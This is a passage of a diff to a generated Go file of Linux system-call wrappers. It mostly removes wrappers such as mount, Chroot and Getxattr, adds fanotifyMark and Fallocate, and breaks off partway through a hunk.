--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,120 +45,14 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
